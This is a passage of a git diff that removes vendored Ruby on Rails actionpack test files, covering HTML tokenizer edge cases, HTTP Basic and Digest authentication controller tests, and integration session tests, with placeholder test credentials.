-  def test_doctype_tag
-    tokenize %{<!DOCTYPE "blah" "blah" "blah">\n    <html>}
-    assert_next %{<!DOCTYPE "blah" "blah" "blah">}
-    assert_next %{\n    }
-    assert_next %{<html>}
-  end
-
-  def test_cdata_tag
-    tokenize %{<![CDATA[<br>]]>}
-    assert_next %{<![CDATA[<br>]]>}
-    assert_end
-  end
-
-  def test_unterminated_cdata_tag
-    tokenize %{<content:encoded><![CDATA[ neverending...}
-    assert_next %{<content:encoded>}
-    assert_next %{<![CDATA[ neverending...}
-    assert_end
-  end
-
-  def test_less_than_with_space
-    tokenize %{original < hello > world}
-    assert_next %{original }
-    assert_next %{< hello > world}
-  end
-  
-  def test_less_than_without_matching_greater_than
-    tokenize %{hello <span onmouseover="gotcha"\n<b>foo</b>\nbar</span>}
-    assert_next %{hello }
-    assert_next %{<span onmouseover="gotcha"\n}
-    assert_next %{<b>}
-    assert_next %{foo}
-    assert_next %{</b>}
-    assert_next %{\nbar}
-    assert_next %{</span>}
-    assert_end
-  end
-
-  def test_unterminated_comment
-    tokenize %{hello <!-- neverending...}
-    assert_next %{hello }
-    assert_next %{<!-- neverending...}
-    assert_end
-  end
-  
-  private
-  
-    def tokenize(text)
-      @tokenizer = HTML::Tokenizer.new(text)
-    end
-    
-    def assert_next(expected, message=nil)
-      token = @tokenizer.next
-      assert_equal expected, token, message
-    end
-    
-    def assert_sequence(*expected)
-      assert_next expected.shift until expected.empty?
-    end
-    
-    def assert_end(message=nil)
-      assert_nil @tokenizer.next, message
-    end
-end
diff --git a/vendor/rails/actionpack/test/controller/http_basic_authentication_test.rb b/vendor/rails/actionpack/test/controller/http_basic_authentication_test.rb
deleted file mode 100644
index 23688ca5..00000000
--- a/vendor/rails/actionpack/test/controller/http_basic_authentication_test.rb
+++ /dev/null
@@ -1,113 +0,0 @@
-require 'abstract_unit'
-
-class HttpBasicAuthenticationTest < ActionController::TestCase
-  class DummyController < ActionController::Base
-    before_filter :authenticate, :only => :index
-    before_filter :authenticate_with_request, :only => :display
-    before_filter :authenticate_long_credentials, :only => :show
-
-    def index
-      render :text => "Hello Secret"
-    end
-
-    def display
-      render :text => 'Definitely Maybe'
-    end
-    
-    def show
-      render :text => 'Only for loooooong credentials'
-    end
-
-    private
-
-    def authenticate
-      authenticate_or_request_with_http_basic do |username, password|
-        username == 'lifo' && password == 'world'
-      end
-    end
-
-    def authenticate_with_request
-      if authenticate_with_http_basic { |username, password| username == 'pretty' && password == 'please' }
-        @logged_in = true
-      else
-        request_http_basic_authentication("SuperSecret")
-      end
-    end
-    
-    def authenticate_long_credentials
-      authenticate_or_request_with_http_basic do |username, password|
-        username == '1234567890123456789012345678901234567890' && password == '1234567890123456789012345678901234567890'
-      end
-    end
-  end
-
-  AUTH_HEADERS = ['HTTP_AUTHORIZATION', 'X-HTTP_AUTHORIZATION', 'X_HTTP_AUTHORIZATION', 'REDIRECT_X_HTTP_AUTHORIZATION']
-
-  tests DummyController
-
-  AUTH_HEADERS.each do |header|
-    test "successful authentication with #{header.downcase}" do
-      @request.env[header] = encode_credentials('lifo', 'world')
-      get :index
-
-      assert_response :success
-      assert_equal 'Hello Secret', @response.body, "Authentication failed for request header #{header}"
-    end
-    test "successful authentication with #{header.downcase} and long credentials" do
-      @request.env[header] = encode_credentials('1234567890123456789012345678901234567890', '1234567890123456789012345678901234567890')
-      get :show
-      
-      assert_response :success
-      assert_equal 'Only for loooooong credentials', @response.body, "Authentication failed for request header #{header} and long credentials"
-    end
-  end
-
-  AUTH_HEADERS.each do |header|
-    test "unsuccessful authentication with #{header.downcase}" do
-      @request.env[header] = encode_credentials('h4x0r', 'world')
-      get :index
-
-      assert_response :unauthorized
-      assert_equal "HTTP Basic: Access denied.\n", @response.body, "Authentication didn't fail for request header #{header}"
-    end
-    test "unsuccessful authentication with #{header.downcase} and long credentials" do
-      @request.env[header] = encode_credentials('h4x0rh4x0rh4x0rh4x0rh4x0rh4x0rh4x0rh4x0r', 'worldworldworldworldworldworldworldworld')
-      get :show
-
-      assert_response :unauthorized
-      assert_equal "HTTP Basic: Access denied.\n", @response.body, "Authentication didn't fail for request header #{header} and long credentials"
-    end
-  end
-
-  test "authentication request without credential" do
-    get :display
-
-    assert_response :unauthorized
-    assert_equal "HTTP Basic: Access denied.\n", @response.body
-    assert_equal 'Basic realm="SuperSecret"', @response.headers['WWW-Authenticate']
-  end
-
-  test "authentication request with invalid credential" do
-    @request.env['HTTP_AUTHORIZATION'] = encode_credentials('pretty', 'foo')
-    get :display
-
-    assert_response :unauthorized
-    assert_equal "HTTP Basic: Access denied.\n", @response.body
-    assert_equal 'Basic realm="SuperSecret"', @response.headers['WWW-Authenticate']
-  end
-
-  test "authentication request with valid credential" do
-    @request.env['HTTP_AUTHORIZATION'] = encode_credentials('pretty', 'please')
-    get :display
-
-    assert_response :success
-    assert assigns(:logged_in)
-    assert_equal 'Definitely Maybe', @response.body
-  end
-
-  private
-
-  def encode_credentials(username, password)
-    "Basic #{ActiveSupport::Base64.encode64("#{username}:#{password}")}"
-  end
-end
diff --git a/vendor/rails/actionpack/test/controller/http_digest_authentication_test.rb b/vendor/rails/actionpack/test/controller/http_digest_authentication_test.rb
deleted file mode 100644
index 9f2750fd..00000000
--- a/vendor/rails/actionpack/test/controller/http_digest_authentication_test.rb
+++ /dev/null
@@ -1,254 +0,0 @@
-require 'abstract_unit'
-
-class HttpDigestAuthenticationTest < ActionController::TestCase
-  class DummyDigestController < ActionController::Base
-    before_filter :authenticate, :only => :index
-    before_filter :authenticate_with_request, :only => :display
-
-    USERS = { 'lifo' => 'world', 'pretty' => 'please',
-              'dhh' => ::Digest::MD5::hexdigest(["dhh","SuperSecret","secret"].join(":"))}
-
-    def index
-      render :text => "Hello Secret"
-    end
-
-    def display
-      render :text => 'Definitely Maybe'
-    end
-
-    private
-
-    def authenticate
-      authenticate_or_request_with_http_digest("SuperSecret") do |username|
-        # Return the password
-        USERS[username]
-      end
-    end
-
-    def authenticate_with_request
-      if authenticate_with_http_digest("SuperSecret")  { |username| USERS[username] }
-        @logged_in = true
-      else
-        request_http_digest_authentication("SuperSecret", "Authentication Failed")
-      end
-    end
-  end
-
-  AUTH_HEADERS = ['HTTP_AUTHORIZATION', 'X-HTTP_AUTHORIZATION', 'X_HTTP_AUTHORIZATION', 'REDIRECT_X_HTTP_AUTHORIZATION']
-
-  tests DummyDigestController
-
-  AUTH_HEADERS.each do |header|
-    test "successful authentication with #{header.downcase}" do
-      @request.env[header] = encode_credentials(:username => 'lifo', :password => 'world')
-      get :index
-
-      assert_response :success
-      assert_equal 'Hello Secret', @response.body, "Authentication failed for request header #{header}"
-    end
-  end
-
-  AUTH_HEADERS.each do |header|
-    test "unsuccessful authentication with #{header.downcase}" do
-      @request.env[header] = encode_credentials(:username => 'h4x0r', :password => 'world')
-      get :index
-
-      assert_response :unauthorized
-      assert_equal "HTTP Digest: Access denied.\n", @response.body, "Authentication didn't fail for request header #{header}"
-    end
-  end
-
-  test "authentication request without credential" do
-    get :display
-
-    assert_response :unauthorized
-    assert_equal "Authentication Failed", @response.body
-    credentials = decode_credentials(@response.headers['WWW-Authenticate'])
-    assert_equal 'SuperSecret', credentials[:realm]
-  end
-
-  test "authentication request with nil credentials" do
-    @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:username => nil, :password => nil)
-    get :index
-
-    assert_response :unauthorized
-    assert_equal "HTTP Digest: Access denied.\n", @response.body, "Authentication didn't fail for request"
-    assert_not_equal 'Hello Secret', @response.body, "Authentication didn't fail for request"
-  end
-
-  test "authentication request with invalid password" do
-    @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:username => 'pretty', :password => 'foo')
-    get :display
-
-    assert_response :unauthorized
-    assert_equal "Authentication Failed", @response.body
-  end
-
-  test "authentication request with invalid nonce" do
-    @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:username => 'pretty', :password => 'please', :nonce => "xxyyzz")
-    get :display
-
-    assert_response :unauthorized
-    assert_equal "Authentication Failed", @response.body
-  end
-
-  test "authentication request with missing nonce should return 401" do
-    @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:username => 'pretty', :password => 'please', :remove_nonce => true)
-    get :display
-
-    assert_response :unauthorized
-    assert_equal "Authentication Failed", @response.body
-  end
-
-  test "authentication request with Basic auth credentials should return 401" do
-    ActionController::Base.session_options[:secret] = "session_options_secret"
-    @request.env['HTTP_AUTHORIZATION'] = ActionController::HttpAuthentication::Basic.encode_credentials('pretty', 'please')
-    get :display
-
-    assert_response :unauthorized
-    assert_equal "Authentication Failed", @response.body
-  end
-
-  test "authentication request with invalid opaque" do
-    @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:username => 'pretty', :password => 'foo', :opaque => "xxyyzz")
-    get :display
-
-    assert_response :unauthorized
-    assert_equal "Authentication Failed", @response.body
-  end
-
-  test "authentication request with invalid realm" do
-    @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:username => 'pretty', :password => 'foo', :realm => "NotSecret")
-    get :display
-
-    assert_response :unauthorized
-    assert_equal "Authentication Failed", @response.body
-  end
-
-  test "authentication request with valid credential" do
-    @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:username => 'pretty', :password => 'please')
-    get :display
-
-    assert_response :success
-    assert assigns(:logged_in)
-    assert_equal 'Definitely Maybe', @response.body
-  end
-
-  test "authentication request with valid credential and nil session" do
-    @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:username => 'pretty', :password => 'please')
-
-    # session_id = "" in functional test, but is +nil+ in real life
-    @request.session.session_id = nil
-    get :display
-
-    assert_response :success
-    assert assigns(:logged_in)
-    assert_equal 'Definitely Maybe', @response.body
-  end
-
-  test "authentication request with request-uri that doesn't match credentials digest-uri" do
-    @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:username => 'pretty', :password => 'please')
-    @request.env['REQUEST_URI'] = "/http_digest_authentication_test/dummy_digest/altered/uri"
-    get :display
-
-    assert_response :unauthorized
-    assert_equal "Authentication Failed", @response.body
-  end
-
-  test "authentication request with absolute request uri (as in webrick)" do
-    @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:username => 'pretty', :password => 'please')
-    @request.env['REQUEST_URI'] = "http://test.host/http_digest_authentication_test/dummy_digest"
-
-    get :display
-
-    assert_response :success
-    assert assigns(:logged_in)
-    assert_equal 'Definitely Maybe', @response.body
-  end
-
-  test "authentication request with absolute uri in credentials (as in IE)" do
-    @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:url => "http://test.host/http_digest_authentication_test/dummy_digest",
-                                                            :username => 'pretty', :password => 'please')
-
-    get :display
-
-    assert_response :success
-    assert assigns(:logged_in)
-    assert_equal 'Definitely Maybe', @response.body
-  end
-
-  test "authentication request with absolute uri in both request and credentials (as in Webrick with IE)" do
-    @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:url => "http://test.host/http_digest_authentication_test/dummy_digest",
-                                                            :username => 'pretty', :password => 'please')
-    @request.env['REQUEST_URI'] = "http://test.host/http_digest_authentication_test/dummy_digest"
-
-    get :display
-
-    assert_response :success
-    assert assigns(:logged_in)
-    assert_equal 'Definitely Maybe', @response.body
-  end
-
-  test "authentication request with password stored as ha1 digest hash" do
-    @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:username => 'dhh',
-                                           :password => ::Digest::MD5::hexdigest(["dhh","SuperSecret","secret"].join(":")),
-                                           :password_is_ha1 => true)
-    get :display
-
-    assert_response :success
-    assert assigns(:logged_in)
-    assert_equal 'Definitely Maybe', @response.body
-  end
-
-  test "authentication request with _method" do
-    @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:username => 'pretty', :password => 'please', :method => :post)
-    @request.env['rack.methodoverride.original_method'] = 'POST'
-    put :display
-
-    assert_response :success
-    assert assigns(:logged_in)
-    assert_equal 'Definitely Maybe', @response.body
-  end
-
-  test "validate_digest_response should fail with nil returning password_procedure" do
-    @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:username => nil, :password => nil)
-    assert !ActionController::HttpAuthentication::Digest.validate_digest_response(@request, "SuperSecret"){nil}
-  end
-
-  private
-
-  def encode_credentials(options)
-    options.reverse_merge!(:nc => "00000001", :cnonce => "0a4f113b", :password_is_ha1 => false)
-    password = options.delete(:password)
-
-    # Set in /initializers/session_store.rb. Used as secret in generating nonce
-    # to prevent tampering of timestamp
-    ActionController::Base.session_options[:secret] = "session_options_secret"
-
-    # Perform unauthenticated request to retrieve digest parameters to use on subsequent request
-    method = options.delete(:method) || 'GET'
-
-    case method.to_s.upcase
-    when 'GET'
-      get :index
-    when 'POST'
-      post :index
-    end
-
-    assert_response :unauthorized
-
-    remove_nonce = options.delete(:remove_nonce)
-
-    credentials = decode_credentials(@response.headers['WWW-Authenticate'])
-    credentials.merge!(options)
-    credentials.merge!(:uri => @request.env['REQUEST_URI'].to_s)
-
-    credentials.delete(:nonce) if remove_nonce
-
-    ActionController::HttpAuthentication::Digest.encode_credentials(method, credentials, password, options[:password_is_ha1])
-  end
-
-  def decode_credentials(header)
-    ActionController::HttpAuthentication::Digest.decode_credentials(@response.headers['WWW-Authenticate'])
-  end
-end
diff --git a/vendor/rails/actionpack/test/controller/integration_test.rb b/vendor/rails/actionpack/test/controller/integration_test.rb
deleted file mode 100644
index d1bb19c3..00000000
--- a/vendor/rails/actionpack/test/controller/integration_test.rb
+++ /dev/null
@@ -1,526 +0,0 @@
-require 'abstract_unit'
-
-class SessionTest < Test::Unit::TestCase
-  StubApp = lambda { |env|
-    [200, {"Content-Type" => "text/html", "Content-Length" => "13"}, ["Hello, World!"]]
-  }
-
-  def setup
-    @session = ActionController::Integration::Session.new(StubApp)
-  end
-
-  def test_https_bang_works_and_sets_truth_by_default
-    assert !@session.https?
-    @session.https!
-    assert @session.https?
-    @session.https! false
-    assert !@session.https?
-  end
-
-  def test_host!
-    assert_not_equal "glu.ttono.us", @session.host
-    @session.host! "rubyonrails.com"
-    assert_equal "rubyonrails.com", @session.host
-  end
-
-  def test_follow_redirect_raises_when_no_redirect
-    @session.stubs(:redirect?).returns(false)
-    assert_raise(RuntimeError) { @session.follow_redirect! }
-  end
-
-  def test_request_via_redirect_uses_given_method
-    path = "/somepath"; args = {:id => '1'}; headers = {"X-Test-Header" => "testvalue"}
-    @session.expects(:put).with(path, args, headers)
-    @session.stubs(:redirect?).returns(false)
-    @session.request_via_redirect(:put, path, args, headers)
-  end
-
-  def test_request_via_redirect_follows_redirects
-    path = "/somepath"; args = {:id => '1'}; headers = {"X-Test-Header" => "testvalue"}
-    @session.stubs(:redirect?).returns(true, true, false)
-    @session.expects(:follow_redirect!).times(2)
-    @session.request_via_redirect(:get, path, args, headers)
-  end
-
-  def test_request_via_redirect_returns_status
-    path = "/somepath"; args = {:id => '1'}; headers = {"X-Test-Header" => "testvalue"}
-    @session.stubs(:redirect?).returns(false)
-    @session.stubs(:status).returns(200)
-    assert_equal 200, @session.request_via_redirect(:get, path, args, headers)
-  end
-
-  def test_get_via_redirect
-    path = "/somepath"; args = {:id => '1'}; headers = {"X-Test-Header" => "testvalue" }
-    @session.expects(:request_via_redirect).with(:get, path, args, headers)
-    @session.get_via_redirect(path, args, headers)
-  end
-
-  def test_post_via_redirect
-    path = "/somepath"; args = {:id => '1'}; headers = {"X-Test-Header" => "testvalue" }
-    @session.expects(:request_via_redirect).with(:post, path, args, headers)
-    @session.post_via_redirect(path, args, headers)
-  end
-
-  def test_put_via_redirect
-    path = "/somepath"; args = {:id => '1'}; headers = {"X-Test-Header" => "testvalue" }
-    @session.expects(:request_via_redirect).with(:put, path, args, headers)
-    @session.put_via_redirect(path, args, headers)
-  end
-
-  def test_delete_via_redirect
-    path = "/somepath"; args = {:id => '1'}; headers = {"X-Test-Header" => "testvalue" }
-    @session.expects(:request_via_redirect).with(:delete, path, args, headers)
-    @session.delete_via_redirect(path, args, headers)
-  end
-
-  def test_url_for_with_controller
-    options = {:action => 'show'}
-    mock_controller = mock()
-    mock_controller.expects(:url_for).with(options).returns('/show')
-    @session.stubs(:controller).returns(mock_controller)
-    assert_equal '/show', @session.url_for(options)
-  end
-
-  def test_url_for_without_controller
-    options = {:action => 'show'}
-    mock_rewriter = mock()
-    mock_rewriter.expects(:rewrite).with(options).returns('/show')
-    @session.stubs(:generic_url_rewriter).returns(mock_rewriter)
-    @session.stubs(:controller).returns(nil)
-    assert_equal '/show', @session.url_for(options)
-  end
-
-  def test_redirect_bool_with_status_in_300s
-    @session.stubs(:status).returns 301
-    assert @session.redirect?
-  end
-
-  def test_redirect_bool_with_status_in_200s
-    @session.stubs(:status).returns 200
-    assert !@session.redirect?
-  end
-
-  def test_get
-    path = "/index"; params = "blah"; headers = {:location => 'blah'}
-    @session.expects(:process).with(:get,path,params,headers)
-    @session.get(path,params,headers)
-  end
-
-  def test_post
-    path = "/index"; params = "blah"; headers = {:location => 'blah'}
-    @session.expects(:process).with(:post,path,params,headers)
-    @session.post(path,params,headers)
-  end
-
-  def test_put
-    path = "/index"; params = "blah"; headers = {:location => 'blah'}
-    @session.expects(:process).with(:put,path,params,headers)
-    @session.put(path,params,headers)
-  end
-
-  def test_delete
-    path = "/index"; params = "blah"; headers = {:location => 'blah'}
-    @session.expects(:process).with(:delete,path,params,headers)
-    @session.delete(path,params,headers)
-  end
-
-  def test_head
-    path = "/index"; params = "blah"; headers = {:location => 'blah'}
-    @session.expects(:process).with(:head,path,params,headers)
-    @session.head(path,params,headers)
-  end
-
-  def test_xml_http_request_get
-    path = "/index"; params = "blah"; headers = {:location => 'blah'}
-    headers_after_xhr = headers.merge(
-      "X-Requested-With" => "XMLHttpRequest",
-      "Accept"           => "text/javascript, text/html, application/xml, text/xml, */*"
-    )
-    @session.expects(:process).with(:get,path,params,headers_after_xhr)
-    @session.xml_http_request(:get,path,params,headers)
-  end
-
-  def test_xml_http_request_post
-    path = "/index"; params = "blah"; headers = {:location => 'blah'}
-    headers_after_xhr = headers.merge(
-      "X-Requested-With" => "XMLHttpRequest",
-      "Accept"           => "text/javascript, text/html, application/xml, text/xml, */*"
-    )
-    @session.expects(:process).with(:post,path,params,headers_after_xhr)
-    @session.xml_http_request(:post,path,params,headers)
-  end
-
-  def test_xml_http_request_put
-    path = "/index"; params = "blah"; headers = {:location => 'blah'}
-    headers_after_xhr = headers.merge(
-      "X-Requested-With" => "XMLHttpRequest",
-      "Accept"           => "text/javascript, text/html, application/xml, text/xml, */*"
-    )
-    @session.expects(:process).with(:put,path,params,headers_after_xhr)
-    @session.xml_http_request(:put,path,params,headers)
-  end
-
-  def test_xml_http_request_delete
-    path = "/index"; params = "blah"; headers = {:location => 'blah'}
-    headers_after_xhr = headers.merge(
-      "X-Requested-With" => "XMLHttpRequest",
-      "Accept"           => "text/javascript, text/html, application/xml, text/xml, */*"
-    )
-    @session.expects(:process).with(:delete,path,params,headers_after_xhr)
-    @session.xml_http_request(:delete,path,params,headers)
-  end
-
-  def test_xml_http_request_head
-    path = "/index"; params = "blah"; headers = {:location => 'blah'}
-    headers_after_xhr = headers.merge(
-      "X-Requested-With" => "XMLHttpRequest",
-      "Accept"           => "text/javascript, text/html, application/xml, text/xml, */*"
-    )
-    @session.expects(:process).with(:head,path,params,headers_after_xhr)
-    @session.xml_http_request(:head,path,params,headers)
-  end
-
-  def test_xml_http_request_override_accept
-    path = "/index"; params = "blah"; headers = {:location => 'blah', "Accept" => "application/xml"}
-    headers_after_xhr = headers.merge(
-      "X-Requested-With" => "XMLHttpRequest"
-    )
-    @session.expects(:process).with(:post,path,params,headers_after_xhr)
-    @session.xml_http_request(:post,path,params,headers)
-  end
-end
-
-class IntegrationTestTest < Test::Unit::TestCase
-  def setup
-    @test = ::ActionController::IntegrationTest.new(:default_test)
-    @test.class.stubs(:fixture_table_names).returns([])
-    @session = @test.open_session
-  end
-
-  def test_opens_new_session
-    @test.class.expects(:fixture_table_names).times(2).returns(['foo'])
-
-    session1 = @test.open_session { |sess| }
-    session2 = @test.open_session # implicit session
-
-    assert_equal ::ActionController::Integration::Session, session1.class
-    assert_equal ::ActionController::Integration::Session, session2.class
-    assert_not_equal session1, session2
-  end
-
-  # RSpec mixes Matchers (which has a #method_missing) into
-  # IntegrationTest's superclass.  Make sure IntegrationTest does not
-  # try to delegate these methods to the session object.
-  def test_does_not_prevent_method_missing_passing_up_to_ancestors
-    mixin = Module.new do
-      def method_missing(name, *args)
-        name.to_s == 'foo' ? 'pass' : super
-      end
-    end
-    @test.class.superclass.__send__(:include, mixin)
-    begin
-      assert_equal 'pass', @test.foo
-    ensure
-      # leave other tests as unaffected as possible
-      mixin.__send__(:remove_method, :method_missing)
-    end
-  end
-end
-
-require 'active_record_unit'
-# Tests that fixtures are accessible in the integration test sessions
-class IntegrationTestWithFixtures < ActiveRecordTestCase
-  include ActionController::Integration::Runner
-
-  fixtures :companies
-
-  def test_fixtures_in_new_session
-    sym = :thirty_seven_signals
-    # fixtures are accessible in main session
-    assert_not_nil companies(sym)
-
-    # create a new session and the fixtures should be accessible in it as well
-    session1 = open_session { |sess| }
-    assert_not_nil session1.companies(sym)
-  end
-end
-
-# Tests that integration tests don't call Controller test methods for processing.
-# Integration tests have their own setup and teardown.
-class IntegrationTestUsesCorrectClass < ActionController::IntegrationTest
-  def self.fixture_table_names
-    []
-  end
-
-  def test_integration_methods_called
-    reset!
-    @integration_session.stubs(:generic_url_rewriter)
-    @integration_session.stubs(:process)
-
-    %w( get post head put delete ).each do |verb|
-      assert_nothing_raised("'#{verb}' should use integration test methods") { __send__(verb, '/') }
-    end
-  end
-end
-
-class IntegrationProcessTest < ActionController::IntegrationTest
-  class IntegrationController < ActionController::Base
-    def get
-      respond_to do |format|
-        format.html { render :text => "OK", :status => 200 }
-        format.js { render :text => "JS OK", :status => 200 }
-      end
-    end
-
-    def get_with_params
-      render :text => "foo: #{params[:foo]}", :status => 200
-    end
-
-    def post_with_multiparameter_params
-      render :text => "foo(1i): #{params[:"foo(1i)"]}, foo(2i): #{params[:"foo(2i)"]}", :status => 200
-    end
-
-    def multipart_post_with_multiparameter_params
-      render :text => "foo(1i): #{params[:"foo(1i)"]}, foo(2i): #{params[:"foo(2i)"]}, filesize: #{params[:file].size}", :status => 200
-    end
-
-    def multipart_post_with_nested_params
-      render :text => "foo: #{params[:foo][0]}, #{params[:foo][1]}; [filesize: #{params[:file_list][0][:content].size}, filesize: #{params[:file_list][1][:content].size}]", :status => 200
-    end
-
-    def multipart_post_with_multiparameter_complex_params
-      render :text => "foo(1i): #{params[:"foo(1i)"]}, foo(2i): #{params[:"foo(2i)"]}, [filesize: #{params[:file_list][0][:content].size}, filesize: #{params[:file_list][1][:content].size}]", :status => 200
-    end
-
-    def post
-      render :text => "Created", :status => 201
-    end
-
-    def cookie_monster
-      cookies["cookie_1"] = nil
-      cookies["cookie_3"] = "chocolate"
-      render :text => "Gone", :status => 410
-    end
-
-    def redirect
-      redirect_to :action => "get"
-    end
-  end
-
-  FILES_DIR = File.dirname(__FILE__) + '/../fixtures/multipart'
-
-  def test_get
-    with_test_route_set do
-      get '/get'
-      assert_equal 200, status
-      assert_equal "OK", status_message
-      assert_response 200
-      assert_response :success
-      assert_response :ok
-      assert_equal({}, cookies)
-      assert_equal "OK", body
-      assert_equal "OK", response.body
-      assert_kind_of HTML::Document, html_document
-      assert_equal 1, request_count
-    end
-  end
-
-  def test_post
-    with_test_route_set do
-      post '/post'
-      assert_equal 201, status
-      assert_equal "Created", status_message
-      assert_response 201
-      assert_response :success
-      assert_response :created
-      assert_equal({}, cookies)
-      assert_equal "Created", body
-      assert_equal "Created", response.body
-      assert_kind_of HTML::Document, html_document
-      assert_equal 1, request_count
-    end
-  end
-
-  def test_cookie_monster
-    with_test_route_set do
-      self.cookies['cookie_1'] = "sugar"
-      self.cookies['cookie_2'] = "oatmeal"
-      get '/cookie_monster'
-      assert_equal 410, status
-      assert_equal "Gone", status_message
-      assert_response 410
-      assert_response :gone
-      assert_equal({"cookie_1"=>"", "cookie_2"=>"oatmeal", "cookie_3"=>"chocolate"}, cookies)
-      assert_equal "Gone", response.body
-    end
-  end
-
-  def test_redirect
-    with_test_route_set do
-      get '/redirect'
-      assert_equal 302, status
-      assert_equal "Found", status_message
-      assert_response 302
-      assert_response :redirect
-      assert_response :found
-      assert_equal "<html><body>You are being <a href=\"http://www.example.com/get\">redirected</a>.</body></html>", response.body
-      assert_kind_of HTML::Document, html_document
-      assert_equal 1, request_count
-
-      follow_redirect!
-      assert_response :success
-      assert_equal "/get", path
-    end
-  end
-
-  def test_xml_http_request_get
-    with_test_route_set do
-      xhr :get, '/get'
-      assert_equal 200, status
-      assert_equal "OK", status_message
-      assert_response 200
-      assert_response :success
-      assert_response :ok
-      assert_equal "JS OK", response.body
-    end
-  end
-
-  def test_get_with_query_string
-    with_test_route_set do
-      get '/get_with_params?foo=bar'
-      assert_equal '/get_with_params?foo=bar', request.env["REQUEST_URI"]
-      assert_equal '/get_with_params?foo=bar', request.request_uri
-      assert_equal "", request.env["QUERY_STRING"]
-      assert_equal 'foo=bar', request.query_string
-      assert_equal 'bar', request.parameters['foo']
-
-      assert_equal 200, status
-      assert_equal "foo: bar", response.body
-    end
-  end
-
-  def test_get_with_parameters
-    with_test_route_set do
-      get '/get_with_params', :foo => "bar"
-      assert_equal '/get_with_params', request.env["REQUEST_URI"]
-      assert_equal '/get_with_params', request.request_uri
-      assert_equal 'foo=bar', request.env["QUERY_STRING"]
-      assert_equal 'foo=bar', request.query_string
-      assert_equal 'bar', request.parameters['foo']
-
-      assert_equal 200, status
-      assert_equal "foo: bar", response.body
-    end
-  end
-
-  def test_post_with_multiparameter_attribute_parameters
-    with_test_route_set do
-      post '/post_with_multiparameter_params', :"foo(1i)" => "bar", :"foo(2i)" => "baz"
-
-      assert_equal 200, status
-      assert_equal "foo(1i): bar, foo(2i): baz", response.body
-    end
-  end
-
-  def test_multipart_post_with_multiparameter_attribute_parameters
-    with_test_route_set do
-      post '/multipart_post_with_multiparameter_params', :"foo(1i)" => "bar", :"foo(2i)" => "baz", :file => fixture_file_upload(FILES_DIR + "/mona_lisa.jpg", "image/jpg")
-
-      assert_equal 200, status
-      assert_equal "foo(1i): bar, foo(2i): baz, filesize: 159528", response.body
-    end
-  end
-
-  def test_multipart_post_with_nested_params
-    with_test_route_set do
-      post '/multipart_post_with_nested_params', :"foo" => ['a', 'b'], :file_list => [{:content => fixture_file_upload(FILES_DIR + "/mona_lisa.jpg", "image/jpg")}, {:content => fixture_file_upload(FILES_DIR + "/mona_lisa.jpg", "image/jpg")}]
-
-      assert_equal 200, status
-      assert_equal "foo: a, b; [filesize: 159528, filesize: 159528]", response.body
-    end
-  end
-
-  def test_multipart_post_with_multiparameter_complex_attribute_parameters
-    with_test_route_set do
-      post '/multipart_post_with_multiparameter_complex_params', :"foo(1i)" => "bar", :"foo(2i)" => "baz", :file_list => [{:content => fixture_file_upload(FILES_DIR + "/mona_lisa.jpg", "image/jpg")}, {:content => fixture_file_upload(FILES_DIR + "/mona_lisa.jpg", "image/jpg")}]
-
-      assert_equal 200, status
-      assert_equal "foo(1i): bar, foo(2i): baz, [filesize: 159528, filesize: 159528]", response.body
-    end
-  end
-
-  def test_head
-    with_test_route_set do
-      head '/get'
-      assert_equal 200, status
-      assert_equal "", body
-
-      head '/post'
-      assert_equal 201, status
-      assert_equal "", body
-    end
-  end
-
-  private
-    def with_test_route_set
-      with_routing do |set|
-        set.draw do |map|
-          map.with_options :controller => "IntegrationProcessTest::Integration" do |c|
-            c.connect "/:action"
-          end
-        end
-        yield
-      end
-    end
-end
-
-class MetalTest < ActionController::IntegrationTest
-  class Poller
-    def self.call(env)
-      if env["PATH_INFO"] =~ /^\/success/
-        [200, {"Content-Type" => "text/plain", "Content-Length" => "12"}, ["Hello World!"]]
-      else
-        [404, {"Content-Type" => "text/plain", "Content-Length" => "0"}, []]
-      end
-    end
-  end
-
-  def setup
-    @integration_session = ActionController::Integration::Session.new(Poller)
-  end
-
-  def test_successful_get
-    get "/success"
-    assert_response 200
-    assert_response :success
-    assert_response :ok
-    assert_equal "Hello World!", response.body
-  end
-
-  def test_failed_get
-    get "/failure"
-    assert_response 404
-    assert_response :not_found
-    assert_equal '', response.body
-  end
-end
-
-class StringSubclassBodyTest < ActionController::IntegrationTest
-  class SafeString < String
-  end
-
-  class SafeStringMiddleware
-    def self.call(env)
-      [200, {"Content-Type" => "text/plain", "Content-Length" => "12"}, [SafeString.new("Hello World!")]]
-    end
-  end
-
-  def setup
-    @integration_session = ActionController::Integration::Session.new(SafeStringMiddleware)
-  end
-
-  def test_string_subclass_body
-    get '/'
-    assert_equal 'Hello World!', response.body
-  end
-end
diff --git a/vendor/rails/actionpack/test/controller/layout_test.rb b/vendor/rails/actionpack/test/controller/layout_test.rb
deleted file mode 100644
index 7bed9637..00000000
--- a/vendor/rails/actionpack/test/controller/layout_test.rb
+++ /dev/null
@@ -1,215 +0,0 @@
-require 'abstract_unit'
-
-# The view_paths array must be set on Base and not LayoutTest so that LayoutTest's inherited
-# method has access to the view_paths array when looking for a layout to automatically assign.
-old_load_paths = ActionController::Base.view_paths
-
-ActionView::Template::register_template_handler :mab,
-  lambda { |template| template.source.inspect }
-
-ActionController::Base.view_paths = [ File.dirname(__FILE__) + '/../fixtures/layout_tests/' ]
-
-class LayoutTest < ActionController::Base
-  def self.controller_path; 'views' end
-  self.view_paths = ActionController::Base.view_paths.dup
-end
-
-# Restore view_paths to previous value
-ActionController::Base.view_paths = old_load_paths
-
-class ProductController < LayoutTest
-end
-
-class ItemController < LayoutTest
-end
-
-class ThirdPartyTemplateLibraryController < LayoutTest
-end
-
-module ControllerNameSpace
-end
-
-class ControllerNameSpace::NestedController < LayoutTest
-end
-
